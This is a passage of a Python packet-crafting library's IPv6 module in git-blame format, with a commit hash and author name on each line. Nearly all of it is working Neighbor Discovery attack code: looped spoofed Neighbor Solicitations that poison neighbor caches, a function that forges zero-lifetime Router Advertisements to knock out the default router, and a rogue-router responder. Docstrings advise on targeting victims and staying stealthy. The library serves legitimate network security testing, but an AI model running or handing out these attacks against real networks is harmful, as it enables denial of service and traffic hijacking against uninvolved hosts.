3600af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Unlike some other NDP_Attack_* function, this one is not based on a
3601af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    stimulus/response model. When called, it sends the same NS packet in loop
3602af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    every second (the default)
3603af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3604af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Following arguments can be used to change the format of the packets:
3605af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3606af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    src_lladdr: the MAC address used in the Source Link-Layer Address option
3607af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         included in the NS packet. This is the address that the peer should
3608af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         associate in its neighbor cache with the IPv6 source address of the
3609af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         packet. If None is provided, the mac address of the interface is
3610af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         used.
3611af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3612af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    src: the IPv6 address used as source of the packet. If None is provided,
3613af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         an address associated with the emitting interface will be used
3614af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         (based on the destination address of the packet).
3615af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3616af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    target: the target address of the NS packet. If no value is provided,
3617af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         a dummy address (2001:db8::1) is used. The value of the target
3618af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         has a direct impact on the destination address of the packet if it
3619af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         is not overridden. By default, the solicited-node multicast address
3620af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         associated with the target is used as destination address of the
3621af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         packet. Consider specifying a specific destination address if you
3622af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         intend to use a target address different than the one of the victim.
3623af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3624af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    dst: The destination address of the NS. By default, the solicited node
3625af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         multicast address associated with the target address (see previous
3626af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         parameter) is used if no specific value is provided. The victim
3627af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         is not expected to check the destination address of the packet,
3628af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         so using a multicast address like ff02::1 should work if you want
3629af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         the attack to target all hosts on the link. On the contrary, if
3630af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         you want to be more stealth, you should provide the target address
3631af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         for this parameter in order for the packet to be sent only to the
3632af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         victim.
3633af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3634af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    src_mac: the MAC address used as source of the packet. By default, this
3635af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         is the address of the interface. If you want to be more stealth,
3636af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         feel free to use something else. Note that this address is not the
3637af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         that the victim will use to populate its neighbor cache.
3638af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3639af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    dst_mac: The MAC address used as destination address of the packet. If
3640af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         the IPv6 destination address is multicast (all-nodes, solicited
3641af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         node, ...), it will be computed. If the destination address is
3642af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         unicast, a neighbor solicitation will be performed to get the
3643af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         associated address. If you want the attack to be stealth, you
3644af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         can provide the MAC address using this parameter.
3645af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3646af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    loop: By default, this parameter is True, indicating that NS packets
3647af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         will be sent in loop, separated by 'inter' seconds (see below).
3648af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         When set to False, a single packet is sent.
3649af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3650af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    inter: When loop parameter is True (the default), this parameter provides
3651af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         the interval in seconds used for sending NS packets.
3652af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3653af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    iface: to force the sending interface.
3654af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3655af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3656af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if not iface:
3657af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        iface = conf.iface
3658af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3659af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    # Use provided MAC address as source link-layer address option
3660af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    # or the MAC address of the interface if none is provided.
3661af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if not src_lladdr:
3662af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        src_lladdr = get_if_hwaddr(iface)
3663af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3664af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    # Prepare packets parameters
3665af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    ether_params = {}
3666af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if src_mac:
3667af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        ether_params["src"] = src_mac
3668af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3669af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if dst_mac:
3670af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        ether_params["dst"] = dst_mac
3671af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3672af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    ipv6_params = {}
3673af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if src:
3674af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        ipv6_params["src"] = src
3675af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if dst:
3676af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        ipv6_params["dst"] = dst
3677af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    else:
3678af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Compute the solicited-node multicast address
3679af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # associated with the target address.
3680af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        tmp = inet_ntop(socket.AF_INET6,
3681af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                        in6_getnsma(inet_pton(socket.AF_INET6, target)))
3682af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        ipv6_params["dst"] = tmp
3683af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3684af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    pkt = Ether(**ether_params)
3685af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    pkt /= IPv6(**ipv6_params)
3686af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    pkt /= ICMPv6ND_NS(tgt=target)
3687af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    pkt /= ICMPv6NDOptSrcLLAddr(lladdr=src_lladdr)
3688af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3689af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sendp(pkt, inter=inter, loop=loop, iface=iface, verbose=0)
3690af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3691af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3692af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalarddef NDP_Attack_Kill_Default_Router(iface=None, mac_src_filter=None,
3693af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                                   ip_src_filter=None, reply_mac=None,
3694af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                                   tgt_mac=None):
3695af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3696af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    The purpose of the function is to monitor incoming RA messages
3697af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sent by default routers (RA with a non-zero Router Lifetime values)
3698af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    and invalidate them by immediately replying with fake RA messages
3699af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    advertising a zero Router Lifetime value.
3700af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3701af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    The result on receivers is that the router is immediately invalidated,
3702af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    i.e. the associated entry is discarded from the default router list
3703af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    and destination cache is updated to reflect the change.
3704af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3705af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    By default, the function considers all RA messages with a non-zero
3706af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Router Lifetime value but provides configuration knobs to allow
3707af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    filtering RA sent by specific routers (Ethernet source address).
3708af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    With regard to emission, the multicast all-nodes address is used
3709af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    by default but a specific target can be used, in order for the DoS to
3710af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    apply only to a specific host.
3711af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3712af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    More precisely, following arguments can be used to change the behavior:
3713af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3714af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    iface: a specific interface (e.g. "eth0") of the system on which the
3715af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         DoS should be launched. If None is provided conf.iface is used.
3716af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3717af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
3718af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         Only RA messages received from this source will trigger replies.
3719af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         If other default routers advertised their presence on the link,
3720af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         their clients will not be impacted by the attack. The default
3721af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         value is None: the DoS is not limited to a specific mac address.
3722af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3723af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter
3724af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         on. Only RA messages received from this source address will trigger
3725af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         replies. If other default routers advertised their presence on the
3726af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         link, their clients will not be impacted by the attack. The default
3727af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         value is None: the DoS is not limited to a specific IPv6 source
3728af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         address.
3729af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3730af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    reply_mac: allow specifying a specific source mac address for the reply,
3731af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         i.e. to prevent the use of the mac address of the interface.
3732af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3733af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    tgt_mac: allow limiting the effect of the DoS to a specific host,
3734af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         by sending the "invalidating RA" only to its mac address.
3735af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3736af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3737af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    def is_request(req, mac_src_filter, ip_src_filter):
3738af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3739af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        Check if packet req is a request
3740af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3741af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3742af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if not (Ether in req and IPv6 in req and ICMPv6ND_RA in req):
3743af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3744af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3745af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        mac_src = req[Ether].src
3746af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if mac_src_filter and mac_src != mac_src_filter:
3747af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3748af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3749a3618a09887e39536009036d2e88341c61d4d385gpotter        ip_src = req[IPv6].src
3750af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if ip_src_filter and ip_src != ip_src_filter:
3751af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3752af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3753af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Check if this is an advertisement for a Default Router
3754af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # by looking at Router Lifetime value
3755af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if req[ICMPv6ND_RA].routerlifetime == 0:
3756af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3757af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3758af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        return 1
3759af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3760af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    def ra_reply_callback(req, reply_mac, tgt_mac, iface):
3761af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3762af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        Callback that sends an RA with a 0 lifetime
3763af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3764af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3765af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Let's build a reply and send it
3766af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3767a3618a09887e39536009036d2e88341c61d4d385gpotter        src = req[IPv6].src
3768af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3769af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Prepare packets parameters
3770af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        ether_params = {}
3771af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if reply_mac:
3772af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            ether_params["src"] = reply_mac
3773af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3774af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if tgt_mac:
3775af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            ether_params["dst"] = tgt_mac
3776af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3777af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Basis of fake RA (high pref, zero lifetime)
3778af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep = Ether(**ether_params)/IPv6(src=src, dst="ff02::1")
3779af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep /= ICMPv6ND_RA(prf=1, routerlifetime=0)
3780af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3781af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Add it a PIO from the request ...
3782af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        tmp = req
3783af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        while ICMPv6NDOptPrefixInfo in tmp:
3784af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            pio = tmp[ICMPv6NDOptPrefixInfo]
3785af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            tmp = pio.payload
3786af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            del(pio.payload)
3787af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            rep /= pio
3788af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3789af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # ... and source link layer address option
3790af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if ICMPv6NDOptSrcLLAddr in req:
3791af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            mac = req[ICMPv6NDOptSrcLLAddr].lladdr
3792af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        else:
3793af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            mac = req[Ether].src
3794af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep /= ICMPv6NDOptSrcLLAddr(lladdr=mac)
3795af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3796af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        sendp(rep, iface=iface, verbose=0)
3797af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3798b72a0b59db7b6fa0726ffa22da3b88679bffe69cgpotter        print("Fake RA sent with source address %s" % src)
3799af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3800af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3801af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if not iface:
3802af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        iface = conf.iface
3803af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    # To prevent sniffing our own traffic
3804af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if not reply_mac:
3805af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        reply_mac = get_if_hwaddr(iface)
3806af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sniff_filter = "icmp6 and not ether src %s" % reply_mac
3807af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3808af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sniff(store=0,
3809af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          filter=sniff_filter,
3810af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter),
3811af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          prn=lambda x: ra_reply_callback(x, reply_mac, tgt_mac, iface),
3812af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          iface=iface)
3813af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3814af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3815af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalarddef NDP_Attack_Fake_Router(ra, iface=None, mac_src_filter=None,
3816af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                           ip_src_filter=None):
3817af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3818af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    The purpose of this function is to send provided RA message at layer 2
3819af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    (i.e. providing a packet starting with IPv6 will not work) in response
3820af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    to received RS messages. In the end, the function is a simple wrapper
3821af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    around sendp() that monitor the link for RS messages.
3822af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3823af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    It is probably better explained with an example:
3824af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3825af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      >>> ra  = Ether()/IPv6()/ICMPv6ND_RA()
3826af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      >>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:1::", prefixlen=64)
3827af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      >>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:2::", prefixlen=64)
3828af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      >>> ra /= ICMPv6NDOptSrcLLAddr(lladdr="00:11:22:33:44:55")
3829af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      >>> NDP_Attack_Fake_Router(ra, iface="eth0")
3830af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      Fake RA sent in response to RS from fe80::213:58ff:fe8c:b573
3831af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      Fake RA sent in response to RS from fe80::213:72ff:fe8c:b9ae
3832af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      ...
3833af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3834af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Following arguments can be used to change the behavior:
3835af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3836af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      ra: the RA message to send in response to received RS message.
3837af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3838af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      iface: a specific interface (e.g. "eth0") of the system on which the
3839af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard             DoS should be launched. If none is provided, conf.iface is
3840af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard             used.
3841af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3842af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
3843af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         Only RS messages received from this source will trigger a reply.
3844af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         Note that no changes to provided RA is done which imply that if
3845af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         you intend to target only the source of the RS using this option,
3846af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         you will have to set the Ethernet destination address to the same
3847af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         value in your RA.
3848af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         The default value for this parameter is None: no filtering on the
3849af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         source of RS is done.
3850af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3851af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter
3852af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         on. Only RS messages received from this source address will trigger
3853af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         replies. Same comment as for previous argument apply: if you use
3854af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         the option, you will probably want to set a specific Ethernet
3855af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         destination address in the RA.
3856af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3857af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3858af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    def is_request(req, mac_src_filter, ip_src_filter):
3859af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3860af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        Check if packet req is a request
3861af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3862af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3863af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if not (Ether in req and IPv6 in req and ICMPv6ND_RS in req):
3864af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3865af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3866af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        mac_src = req[Ether].src
3867af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if mac_src_filter and mac_src != mac_src_filter:
3868af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3869af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3870a3618a09887e39536009036d2e88341c61d4d385gpotter        ip_src = req[IPv6].src
3871af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if ip_src_filter and ip_src != ip_src_filter:
3872af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3873af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3874af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        return 1
3875af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3876af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    def ra_reply_callback(req, iface):
3877af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3878af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        Callback that sends an RA in reply to an RS
3879af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3880af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3881a3618a09887e39536009036d2e88341c61d4d385gpotter        src = req[IPv6].src
3882af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        sendp(ra, iface=iface, verbose=0)
3883b72a0b59db7b6fa0726ffa22da3b88679bffe69cgpotter        print("Fake RA sent in response to RS from %s" % src)
3884af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3885af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if not iface:
3886af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        iface = conf.iface
